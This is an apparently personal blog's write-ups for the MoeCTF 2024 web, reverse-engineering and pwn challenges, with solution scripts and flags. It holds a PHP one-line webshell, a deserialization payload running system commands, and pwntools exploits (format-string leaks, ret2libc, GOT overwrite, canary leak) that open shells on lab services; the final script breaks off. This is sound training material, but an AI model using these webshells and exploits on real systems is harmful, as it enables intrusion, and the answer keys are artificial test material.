Moectf2024 on Nan0inPsyLog

Moectf2024-Web/RE-Wp

Fri, 17 Jan 2025 20:48:00 +0000

web

入门指北

phpstudy中打开WNMP服务后，将下载得到的html和php文件覆盖掉WWW文件夹下，运行网站即可

moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}

ez_http

打开容器后，容器指引我们一步步执行获取flag

但是这些参数具体是什么意思呢？分析一下

要求使用post请求——空发送一个post请求
post请求体为imoau=sb——在body中修改
parameter(参数)要求为xt=大帅b——在链接后修改?xt=大帅b
source要求为https://www.xidian.edu.cn/——请求头加入Referer，内容为https://www.xidian.edu.cn/
cookie设置user=admin——请求头中加入cookie，内容为user=admin
use MoeDedicatedBrowser——请求头中加入User-Agent，内容为MoeDedicatedBrowser
仅允许本地访问——在请求头中加入X-Forwarded-For，内容为127.0.0.1
moectf{YoU-4RE-rEa1lY_r3AIlY-v3rY-cLEv3R!l!3a4b}

垫刀之路01: MoeCTF？启动！

cat /flag显示没有

env一下直接出来了，echo $FLAG也行

moectf{WelComE_t0_mOecTf_aNd_RoaDl-StarTuP-BY-sxrhhHa2}

垫刀之路02: 普通的文件上传

一眼一句话木马上传上传文件2.php

1
2
3


<?php
eval($_POST["pass"])
?>

访问/uploads/2.php后post上传pass=print(system(“env”));

moectf{Up1O@D_YOur-P@YLO@D_aNd-D0-WH4t_yOUr-wAnt73b}

pop moe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


<?php

class class000 {
 private $payl0ad = 0;
 protected $what;

 public function __destruct()
 {
 $this->check();
 }

 public function check()
 {
 if($this->payl0ad === 0)
 {
 die('FAILED TO ATTACK');
 }
 $a = $this->what;
 $a();
 }
}

class class001 {
 public $payl0ad;
 public $a;
 public function __invoke()
 {
 $this->a->payload = $this->payl0ad;
 }
}

class class002 {
 private $sec;
 public function __set($a, $b)
 {
 $this->$b($this->sec);
 }

 public function dangerous($whaattt)
 {
 $whaattt->evvval($this->sec);
 }

}

class class003 {
 public $mystr;
 public function evvval($str)
 {
 eval($str);
 }

 public function __tostring()
 {
 return $this->mystr;
 }
}

if(isset($_GET['data']))
{
 $a = unserialize($_GET['data']);
}
else {
 highlight_file(__FILE__);
}

创建了四个实例，要构建反序列化利用链获取flag，但是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php

class class000 {

    private $payl0ad = 1;

    protected $what="phpinfo";

}

echo urlencode(serialize(new class000()));

利用这个查看php信息，我们可以直接找到flag信息

拿AI跑了一个反序列脚本，不过cat /flag没结果，看了一下env，果然在里面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


<?php

class class000 {
 private $payl0ad;
 protected $what;
 public function __construct($what) {
 $this->payl0ad = 1;
 $this->what = $what;
 }
}

class class001 {
 public $a;
 public $payl0ad;
 public function __construct($a, $payl0ad) {
 $this->a = $a;
 $this->payl0ad = $payl0ad;
 }
}

class class002 {
 private $sec;
 public function __construct($sec) {
 $this->sec = $sec;
 }
}

class class003 {
 public $mystr;
 public function __construct($mystr) {
 $this->mystr = $mystr;
 }
}

// 构造恶意代码：例如读取env
$c3 = new class003('system("env");'); // 根据实际情况调整命令

// class002实例，其sec属性为class003实例
$c2 = new class002($c3);

// class001实例，a属性指向class002，payl0ad为'dangerous'
$c1 = new class001($c2, 'dangerous');

// class000实例，what属性指向class001
$c0 = new class000($c1);

// 生成序列化字符串
$payload = serialize($c0);
echo urlencode($payload);
?>

moectf{It-5E3mS-Th@t_YoU-kN0W_whaT-i5_p0p-in-pHPpPppPPll!1}|

RE

d0tN3t

dnspy中找到main入口，查看主代码

编写exp逆向得到flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21



# 提供的字节数组 (array)

array = [

    173, 146, 161, 174, 132, 179, 187, 234, 231, 244, 177, 161,

    65, 13, 18, 12, 166, 247, 229, 207, 125, 109, 67, 180, 230,

    156, 125, 127, 182, 236, 105, 21, 215, 148, 92, 18, 199, 137,

    124, 38, 228, 55, 62, 164

]


for i in range(len(array)):
    for j in range(32,127): # 遍历ASCII码
       if((j+114^114)^((i*i)&0xff))==array[i]:

            print(chr(j),end='')

注意可见ASCII码在32-127之间

i*i&0xff是为了限制范围在0-255之间，不然超出比较范围

Upx_revenge

魔改头，改vmp0为UPX0就可以了

moectf{554ea35c-a1bb-4d8f-a323-bd697564bf27}

tea

tea加密，逆向写解密 key:[1702060386,1870148662,1634038898,1634038904] 加密后: 676078132和957400408

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


#include<bits/stdc++.h>
using namespace std;
void decrypted(uint32_t* v,uint32_t* k){
 uint32_t v0=v[0],v1=v[1],sum=0xC6EF3720,i;
 uint32_t delta=0x9E3779B9;
 uint32_t k0=k[0],k1=k[1],k2=k[2],k3=k[3];
 for(i=0;i<32;i++){
 v1-=( (v0<<4) + k2) ^(v0+sum) ^ ((v0>>5)+k3);
 v0-=( (v1<<4) + k0) ^(v1+sum) ^ ((v1>>5)+k1);
 sum-=delta;
 }
 v[0]=v0;v[1]=v1;
}
int main(){
 uint32_t v[2]={676078132,957400408};
 uint32_t k[4]={1702060386,1870148662,1634038898,1634038904};
 decrypted(v,k);
 printf("moectf{%x-%x-9c42-caf30620caaf}\n",v[0],v[1]);
 return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from ctypes import *


def decrypt(v, k):
 v0 = c_uint32(v[0])
 v1 = c_uint32(v[1])
 delta = 0x9e3779b9
 sum1 = c_uint32(delta * 32)
 for i in range(32):
 v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
 v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
 sum1.value -= delta
 return v0.value, v1.value


if __name__ == '__main__':
 enc = [676078132,957400408]
 key = [1702060386, 1870148662, 1634038898, 1634038904]
 dec = decrypt(enc, key)
 print("xxxxxxxx-yyyyzzzz:%x %x"%(dec[0],dec[1]))

moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

xtea

输入后进行了memcpy后再进行了sub_14001119f加密，最后再与答案对比进行答案判定

进入后查看加密算法，发现a3应该对应的是_DWORD，并且根据函数参数进行怕那段，重命名后再次查看

就是xtea算法，delta被魔改根据 sub_14001119F()改解密函数倒过来解密，byte_140022000处就是加密后flag， key——v14，round——v12，长度12 加密逻辑为前八位xtea，后八位xtea，因此中间四位计算两次

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


#include<stdio.h>
#include<string.h>
#include<stdint.h>
using namespace std;
unsigned char byte_140022000[] = {
 0xA3, 0x69, 0x96, 0x26, 0xBD, 0x78, 0x0B, 0x3D, 0x9D, 0xA5, 0x28, 0x62};
void decrypt(unsigned int rounds,uint32_t *v,uint32_t const k[4]){
 unsigned int i;
 uint32_t v0=v[0],v1=v[1],delta=855655493,sum=(-delta)*rounds;
 for(i=0;i<rounds;i++){
 v1-=(((v0*16)^(v0>>5))+v0) ^ (sum+k[(sum>>11) & 3] );
 sum+=delta;
 v0-=(((v1*16)^(v1>>5))+v1) ^ (sum+k[sum & 3]);
 }
 v[0]=v0;v[1]=v1;
}
int main(){
 uint32_t const k[4]={2,0,2,4};
 unsigned int rounds=32;
 decrypt(rounds,(uint32_t*)(byte_140022000+4),k);
 decrypt(rounds,(uint32_t*)(byte_140022000),k);
 printf("%s",(byte_140022000));
 return 0;
}

xxtea

v9是加密后flag 密文为v11数组，v15[3]=0xCCFFBBBB, 前12个字节为moectf2024!! ，抄加密代码就可以了 moectf{j9h8hg75nky6vhkslh5v5awibr4i}

secretmodule

customesize.sh解码得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


testk() {
 echo "Welcome to the Secret module!But before you begin,you need to prove your self."
 (/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
 return 0
}

choose() {
 while true; do
 /system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
 if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
 break
 fi
 done
 if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
 echo "114514"
 else
 echo "1919810"
 fi
}

if testk; then
 ui_print "Great! Now enter the secret."

else
 ui_print "Legacy Device. Use a newer device to do this challenge"
 exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
 result=$(choose)
 concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
 echo 'You are right!Flag is'
 echo "moectf{$concatenated}"
else
 echo 'Wrong. Try again.'
 exit
fi

代码审计得到密码为七组密码组成，由114514 1919810相关的密码组成，

moedaily

excel文件，验证函数

=IF(LEN(D11)=48,IF(AND(AND(AND(AND(AND(AND(H14=1397140385,I14=2386659843),AND(H15=962571399,I15=3942687964)),AND(H16=3691974192,I16=863943258)),AND(H17=216887638,I17=3212824238)),AND(H18=3802077983,I18=1839161422)),AND(H19=1288683919,I19=3222915626)),"恭喜你，拿到了真的FLAG","FLAG输入错了，再试试"),"flag长度不对")

解释为验证H14-I19所有值是否与密文相等，随便看一个，比如H14中表达式为=s3cr3t!E54，即s3cr3t表中的E54，而s3cr3t表中的计算都非常复杂

在表中定位到E54 =BITAND(E53+BITXOR(BITLSHIFT(F53,4)+C38,BITXOR(F53+D54,BITRSHIFT(F53,5)+D38)),4294967295) 也就是E54=(E53+((F53«4)+C38)^((F53+D54)^((F53«5)+D38)))&0xFFFFFFFF 结构很类似于TEA加密 E54与E53(上) F53(右上)C38(固定值114514)D54(114514*32)和D38(1919810)有关同样查看其他F54的值，确定D54为sum=114514+D53，key[]={C38,D38,E38,F38}，delta=114514 而delta来自A39,到这里刚好回退了32轮，看到A38和B38，因此F54由A38 B38经过而一个来自E18一个来自F18，发现又是两个数字由上一轮加密的A2和B2得到，而A2和B2最终来自表格中的F14和G14，也就是最左上角的数字

直观上理解便是左边计算加密时实用114514和1919810，右边实用415144和19883

xlsx语法

BITAND 函数返回两个数的按位进行“与”（AND）运算后的结果。
BITXOR 函数返回两个数的按位进行“异或”（XOR）运算后的结果。
BITLSHIFT 函数返回一个数向左移动指定位数后的数值。
BITRSHIFT 函数返回一个数向右移动指定位数后的数值。
CODE 函数用于返回文本字符串中第一个字符的 ASCII 代码
MID 函数返回文本字符串中从指定位置开始的特定数目的字符串。 =MID(文本, 开始位置, 字符个数)
IF 函数根据提供的条件参数，条件计算结果为 TRUE 时，返回一个值；条件计算结果为 FALSE 时，返回另一个值。 =IF(条件, [条件为 TRUE 时的返回值], [条件为 FALSE 时的返回值]) AND 函数返回逻辑值：如果所有参数值均为“真（TRUE）”，返回“真（TRUE）”，反之返回“假（FALSE）”。 =AND(测试条件1, [测试条件2], ...)

那么方法就变的明晰起来了，

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


enc = [[1397140385, 2386659843], [962571399, 3942687964], [3691974192, 863943258], [216887638, 3212824238], [3802077983, 1839161422], [1288683919, 3222915626]]
delta = 114514
keys = [[114514,1919810],[415144,19883]]
flag = b''
for item in enc:
 a0,a1=item
 for i in range(2):
 for j in range(64,0,-1):
 key = keys[(j+1)%2]
 a0, a1 = (a1 - (((a0 << 4) + key[0]) ^ (a0 + delta * ((j + 1) // 2)) ^ ((a0 >> 5) + key[1]))) % (1 << 32), a0
 flag+=a0.to_bytes(4,'little')+a1.to_bytes(4,'little')
print(flag)

moeprotector

虽然但是，moeprotector是moectf自主研发的一款软件保护工具，帮助我们解决调试者，中间忘了，后面忘了。考点（免费Hint）

Windows下的异常处理（SEH）
Windows下的调试器对抗（Anti-Debugger）温馨提示：如果你只会看IDA来静态分析，那么本题可能对你来说比较Hard！

脱去upx壳

try-except部分，但没有被反编译，直接看汇编，是输入flag和比较flag的地方比较部分将长度与39h比较，不是的话就打印错误提示字符串之后会直接跳到loc_4017Fd，而又会跳到loc_401830

这个部分做了什么呢？将30h字节的偏移移到fs寄存器，fs/gs(分别对应32位和64位)寄存器指向当前活动线程的TEB结构（线程环境块），30h指向的是PEB结构地址（进程结构） 跑起来后由于左边线程会一直做除法，所以如果我们一开始输入了除数0

程序往右边走，提前在右边打好断点后往下走，f8运行下去

这里需要输入了，按上面意思输入57个字符，输入57个a

触发反调试使用scyllahide解反调试

第二段汇编看不懂，上面这一段实际上做了 byte_40543C[0x38]=byte_40543C[0x38]^(0x38_0x15)+0x14 所以下面这段大概就是循环byte_40543C[i]=byte_40543C[i]^(i-0x15)+0x14 下边两段也做了，不过0x15改为了0x1A和0x19

最后byte_40453C的39h处与byte_403658进行对比判断内容是否相等，写三段解密

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


#include<stdio.h>
unsigned char byte_403658[56] = {
 0xC7, 0xC4, 0xC9, 0xCE, 0xC2, 0xD1, 0x8B, 0x66, 0x6B, 0x8D, 0xB0, 0x45, 0xF9, 0x84, 0xFF, 0xB2,
 0x51, 0xAB, 0xB3, 0x4C, 0x33, 0xA8, 0x61, 0x0E, 0xC5, 0x3B, 0x5B, 0xF9, 0x11, 0x82, 0x8B, 0x8E,
 0x7A, 0x23, 0x68, 0x7A, 0x21, 0x1F, 0x87, 0x91, 0x46, 0x8D, 0x90, 0xA4, 0xA5, 0xE0, 0x35, 0xD9,
 0x41, 0x4E, 0x44, 0xF1, 0x37, 0xAF, 0x26, 0x3A
};
unsigned char encrypt[] = {0x19,0x1A,0x15};
int main(){
 int i,j;
 for(i=0;i<3;i++){
 for(j=0;j<57;j++){
 byte_403658[j]=(byte_403658[j]-0x14)^(j+encrypt[i]);
 }
 }
 printf("%s",byte_403658);
 return 0;
}

moectf{w1Nd0Ws_S3H_15_A_g0oD_m37h0d_70_h4nd13_EXCEPTI0NS}

Just-Run-It

第一个exe文件直接运行 6257396c5933526d657a55355a6d45 第二个elf文件脱壳后wsl运行 324d444a6a4c5459794e4745744e44 第三个apk文件安卓虚拟机（14）运行 42694e7930345954566a4c57557a4e 第四个riscv64.elf文件在wsl中运行qemu虚拟机运行

exp

1
2


a = [87, 85, 49, 78, 122, 82, 106, 90, 106, 108, 105, 79, 88, 48, 61]
print("".join(map(chr,a)))

WU1NzRjZjliOX0= 前三个组合后解密base64，加上第四个解出的再base64解密一次 moectf{59fa602c-624a-40b7-8a5c-e35e574cf9b9}

xor(大嘘)

IDA，加密和比较

加密函数，看起来是简单的异或加密dword_404078，convert出来写解密

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


#include<stdio.h>
#include<stdint.h>
#include<string.h>
unsigned char byte_404058[32] = {
 0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C, 0x12, 0x52, 0x59, 0x03, 0x6D, 0x52,
 0x04, 0x04, 0x0B, 0x33, 0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04, 0x5B,0x5A
};
unsigned char dword_404078[16] = {
 0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x5F, 0x6D, 0x6F, 0x65, 0x63, 0x74, 0x66, 0x32, 0x30, 0x32, 0x34,
};

int main() {
 unsigned int i;
 char flag[32]={0};
 for(i=0;i<32;i++){
 flag[i]=byte_404058[i]^dword_404078[i%16];
 }
 printf("%s\n",flag);
}

打印出来 This_1s_a_f4k3_flag_plzTry_ag4in?假flag

可动调可直接看，花指令，call $+5就是push并执行下一步指令，然而后面add指令会刚好使push的地址跳过add和retn的六个字节，音次最后retn便会直接结束我们直接在下面p创建函数

上面是很明显的tea加密，然后异或

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#include<stdio.h>
#include<stdint.h>
#include<string.h>
unsigned char byte_404058[32] = {
 0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C, 0x12, 0x52, 0x59, 0x03, 0x6D, 0x52,
 0x04, 0x04, 0x0B, 0x33, 0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04, 0x5B,0x5A
};
uint32_t dword_404078[4] = { 0x6C6C6568 ,0x6F6D5F6F,0x66746365,0x34323032 };
void tea(uint32_t* p,uint32_t* q,uint32_t* k){
 uint32_t v0 = *p, v1 =*q, sum = 0xC6EF3720, i;
 uint32_t delta = 0x9e3779b9;
 uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
 for (i = 0;i < 32;i++) {
 v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
 v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
 sum -= delta;
 }
 *p = v0;*q = v1;

}
int main() {
 unsigned int i;
 char key[]={ 43,-14,-126,65,72,116,-99,-86,126,76,-38,4,8,44,-88,82,-105,119,-73,59,22,45,-44,-4,96,-66,-60,-74,115,25, -108,-121 };
 char flag[32]={0};
 for(int i=0;i<32;i++) byte_404058[i]=byte_404058[i]^key[i%32];
 for(int i=0;i<4;i++){
 tea((uint32_t*)(byte_404058+8*i),(uint32_t*)(byte_404058+8*i+4),dword_404078);
 }
 for(i=0;i<32;i++){
 flag[i]=byte_404058[i]^ *((unsigned char*)dword_404078+i%16);
 }
 printf("%s\n",flag);
 return 0;
}

moectf{how_an_easy_junk_and_tea}

babe_z3

upx脱壳后进IDA

读取后从s到v13八字节存储

接下来一系列条件判断，最后一个里面表明第一个判断v4的条件, 其低32位要求为0，而高32位判断更为简单，这里我们让第一个条件不符合v4的判定也可以实现，根据题目中z3判断这里根据z3实现约束条件

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


from z3 import *
from Crypto.Util.number import *

def print_hex(s):
 return solver.model()[s].as_long().to_bytes(8,byteorder='little').decode()


solver=Solver() #创建一个实例化约束对象
s=BitVec('s',64) #创建64位变量
v11=BitVec("v11",64)
v12=BitVec("v12",64)
v13=BitVec("v13",64)

#加入约束条件
solver.add( (v12 & v13 ^ (v11 | ~(v13 + v11)) & s & v12) != 0xD81AC01FBBA91837 )
solver.add( (v11 ^ (v12 & (s + v12) | v13 & ~(v12 & s) | v11 & (v11 + v13) & ~s)) == 0x7071001344417B54)
solver.add( ((v12 - v13) ^ (s - v11)) == 0x3FE01013130FFD3 )
solver.add( (s + v12 - v13 + v11) * (v13 + s + v11 - v12) == 0x1989A41A9049C5C9)
solver.add( (v12 + v11 + s + v13) % 0x1BF52 == 21761 )
solver.add(( v13 * v12 * v11 * s % 0x1D4B42 == 827118 ))
solver.add( (v12 & s & v13 | (~(v11 | s) | v11 & v12) & v11 & s) == 0x2024243035302131 )
if solver.check()==sat: #sat就是查找是否存在变量使得某个布尔表达式可满足
 print(print_hex(s)+print_hex(v11)+print_hex(v12)+print_hex(v13))

裹上moectf{}即可 moectf{9c0525dcbadf4cbd9715067159453e74}

逆向工程进阶之北

pdf文档最后给出了加密代码： *(p+i)=(*(p+i)* 0xccffbbbb+0xdeadc0de)^ 0xdeadbeef+0xd3906;
+的优先级比异或高，我们要脱掉异或和的算法和内部的乘法
注意到非符号数运算，那么取模的数取到2³²，这里key=flaga mod2³² 那么flag反过来求就可以了，0xccffbbbb^-1mod2³²=0x8d61d173，所以逆向后最后再乘0x8d61d173就可以了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


#include<stdio.h>

unsigned char flag[44] = {0};
unsigned char key[]={0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,
0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81};

int main(){
 unsigned int *p= (unsigned int *)flag;
 for(int i=0;i<11;i++){
 *(p+i)=((key[i]^(0xdeadbeef+0xd3906))-0xdeadc0de)*0x8d61d173;
 }
 printf("%s\n",flag);
 return 0;
}

moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}

moejav

一道java逆向，下载附件后拖入jadx

将输入字符的ASCII码异或202再加32进行加密中间是一大串vmInsn数组的值，没什么用先跳过，翻到下面看操作

不懂，问AI 虚拟机指令: - vmInsn数组包含310个指令
- 虚拟机通过抛出和捕获异常来执行指令(这是一种不常见的控制流方式)
- 每条指令对应一个特定的异常类型
所以这里就是一个模拟虚拟机的代码操作这里在做什么呢？从图中我们看到一开始insn取出来为0时，取出一个值放入store进行后面操作，取6时store与操作数进行比较，操作数此时则进行过加密后的值，最后自然是exit了
或许我们可以顺序执行这些指令，遇到操作6时把数存入store，这样7个数7个数操作，我们把这些6之后的数全拿出来发现11个数为一组进行相同同操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from z3 import *
import copy
# 预期的store值，来自StarrySkyMeowNotFoundException指令
seven_values = [
 -25, -27, -33, -31, -50, -36, -39, -24, -52, -29, -52,
 -64, -58, -63, -52, -90, -39, -43, 26, 25, -49, -64,
 -51, 25, -45, -55, -47, 24, -41, -60, 22, -40, -60,
 -15, 50, -51, -31, 50, 50, -35, 50, -35, 51, -17
]

x=[BitVec(f"x{i}",8) for i in range(44)]
x2=copy.deepcopy(x)
for i in range(len(x)):
 x[i] ^=202
 x[i] +=32
# 逆向转换
s=Solver()
ans1=seven_values[0:11]
ans2=seven_values[11:22]
ans3=seven_values[22:33]
ans4=seven_values[33:44]

for i in range(11):
 s.add((x[i]^60)-20==ans1[i])

for i in range(11,22):
 s.add((x[i]^14)+5==ans2[i-11])

for i in range(22,33):
 s.add((x[i]^10)+5==ans3[i-22])

for i in range(33,44):
 s.add((x[i]+14)+10==ans4[i-33])

print(s.check())
m=s.model()
for single in x2:
 print(chr(m[single].as_long()),end='')

moectf{jvav_eXcEpt10n_h4ndl3r_1s_s0_c00o0o1}

Moectf2024-Pwn-Wp

Wed, 15 Jan 2025 00:00:00 +0000

pwn

个人认为本次赛题的综合性很强，并且非常适用于新手入门和过渡到之后的赛事，pwn题中没有堆题，但是关于rop和各种栈的考察，以及一些工具的使用非常到位，优秀的赛题

NotEnoughTime

一道计算题，要求时间在30s内通过简洁运行（官方wp）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24



from pwn import *


io = remote("192.168.77.1",51873)

io.sendlineafter(b"=", b"2")
io.sendlineafter(b"=", b"0")
io.recvuntil(b"!")

for _ in range(20):
    io.sendline(
        str(
            eval(
                io.recvuntil(b"=")
                .replace(b"\n", b"")
                .replace(b"=", b"")
                .replace(b"/", b"//")
                .decode()
            )
        ).encode()
    )

io.interactive()

本人

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44



from pwn import *

io = remote("192.168.77.1", 51873)

io.sendlineafter(b"=", b"2")

io.sendlineafter(b"=", b"0")

io.recvuntil(b"!")


# 增加一个打印输出，观察整个过程

print("开始循环处理：")


for _ in range(20):

    # 接收计算表达式

    expr = io.recvuntil(b"=").replace(b"\n", b"").replace(b"=", b"").replace(b"/", b"//").decode()

    # 打印收到的表达式

    print(f"收到的表达式: {expr}")

    # 计算结果

    result = eval(expr)


    # 打印计算结果

    print(f"计算结果: {result}")

    # 发送计算结果

    io.sendline(str(result).encode())


# 获取交互

io.interactive()

leak_sth

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


from pwn import*
context(log_level='debug')
p=process('./leaksth')
#p=remote('26.198.202.50',9999)
gdb.attach(p)

payload=b'%7$p'
p.sendlineafter(b'your name?',payload)
p.recvline()
p.recvline()
num=int(p.recv(10),16)
print(hex(num))

payload=str(num)
p.sendlineafter(b'Give me the number',payload)
p.interactive()

no_more_gets

gets可以实现无限读取，因此直接ret2text 但是要注意以下这条 movaps xmmword ptr [rsp + 0x50], xmm0 在system中要求[rsp+0x50]必须十六字节对齐，所以我们将劫持地址+1跳过这个汇编指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


from pwn import *

io = process('./pwn')

# my_shell = 0x401176
bin_sh = 0x401177

payload = cyclic(88) + p64(bin_sh)
io.sendlineafter(b".\n", payload)

io.interactive()

这是什么？32-bit!

注意一下32位execve()传参即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


from pwn import *

context(os='linux', arch='i386')
io = process('./pwn')
e = ELF('./pwn')

io.sendline()
payload = cyclic(0x28 + 4)
payload += flat([
 e.sym[b'execve'], # 覆盖的返回地址
 0, # `execve` 返回地址
 next(e.search(b'/bin/sh')), # `execve` 参数 `pathname`
 0, # `execve` 参数 `argv`
 0 # `execve` 参数 `envp`
])
io.sendline(payload)
io.interactive()

这是什么?GOT!

保护启动了partial relro，直接找GOT表，exit覆盖为后门函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


from pwn import*
context(log_level='debug')
io=process('./pwn')
#io=remote('26.198.202.50',54772)
#gdb.attach(io)
system_plt=0401056
backdoor=0x40119A

payload=cyclic(0x10)+p64(system_plt)+cyclic(0x20)+p64(backdoor)
p.sendafter(b'This is `puts`.',payload)
p.interactive()

这是什么？libc！

程序开启了PIE随机化，泄露lbc后ret2libc即可，添加ret保证栈平衡

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

context(os="linux", arch="amd64")

io = process('/pwn')
#io=remote(...)
libc = ELF("./libc.so.6")

io.recvuntil(b"0x")
libc.address = int(io.recv(12), 16) - libc.sym["puts"]

payload = cyclic(9) + flat([
 libc.search(asm("pop rdi; ret;")).__next__() + 1, # 即 `ret`，用于栈指针对齐
 libc.search(asm("pop rdi; ret;")).__next__(),
 libc.search(b"/bin/sh\x00").__next__(),
 libc.sym["system"],
])
io.sendafter(b">", payload)

io.interactive()

这是什么？random！

伪随机，固定种子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


from pwn import *
from ctypes import cdll
from time import localtime

io=process('./pwn)
libc=cdll.LoadLibrary('libc.so.6')
libc.srand(0xe9)

for _ in range(12):
 io.sendlineafter(b'> ),str(libc.rand()%90000+10000).encode())

io.interactive()

Catch_the_canary!

泄露canary，或者scanf时传’+‘或’-‘跳过输入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


from pwn import*
context(log_level='debug')


for i in range(16768186,16768186+9029):
 io=remote('...')
 io.sendline(str(i))
 io.recvline()
 io.recvline()
 check=io.recvline()
 print(check)
 if b'[Error] Wrong! Try again.' in check:
 io.close()
 else:
 break

backdoor=0x4012C9
payload=b'a'*0x10+p64(0xbacd003)
io.sendlineafter(b'One shot.',b'+')
io.sendline(b'1')
io.sendline(str(0xbacd003))
io.sendafter(b'Stop it!',b'a'*0x19)
io.recvuntil(b'a'*0x19)
canary=b'\x00'+io.recv(7)
print(hex(canary))
payload=b'a'*0x18+p64(canary)+b'a'*8+p64(backdoor)
io.sendline(payload)
io.interactive()

loginsystem

1
2
3
4
5
6


from pwn import *
io=remote('...')

io.sendafter(b"username: ",b'%9$ln '+p64(0x404050))
io.sendafter(b'password: \n',b'\x00'*8)
io.interactive()

pwn_it_off!

这题就有点意思了，voice_pwd中有未初始化的字符串，调试是会发现password同时也在栈中，提示中说strcmp 为什么比strncmp 危险。答案是strcmp会通过’\x00’截断对比, 我们需要通过输入正确密码（即beep中残留字符串），在’\x00’后添加二进制形式数字最后才能通过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19



from pwn import*
context(log_level='debug')
io=process('./alarm')

def gdbs():
 gdb.attach(io)
 pause()

while True:
 temp=io.recvline()
 if b"[Error]" in temp:
 break
 pre_temp=temp #随机化beep所以写循环检测最后一组

password=pre_temp[28:28+15]+b'\x00'+p64(12345)[0:7]
print(p64(12345)[0:7])
p.sendafter(b'password.',password)
p.sendlineafter(b'password.',b'12345')

system_not_found!

观察得知，若是我们可以第一次read时把nbytes覆盖掉，第二次read就可以溢出了，然后泄露libc，ret2libc，关键是泄露出来的这个gadget到底是什么？gdb调试，main即将返回时rdi的值恰好是libc中的funlockfile, 返回puts将会泄露出libc然后我们再返回到main去执行rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./dialogue")
elf=ELF("./dialogue")
libc=ELF("./libc.so.6")
io=remote("172.22.192.1",64190)
#gdb.attach(io)
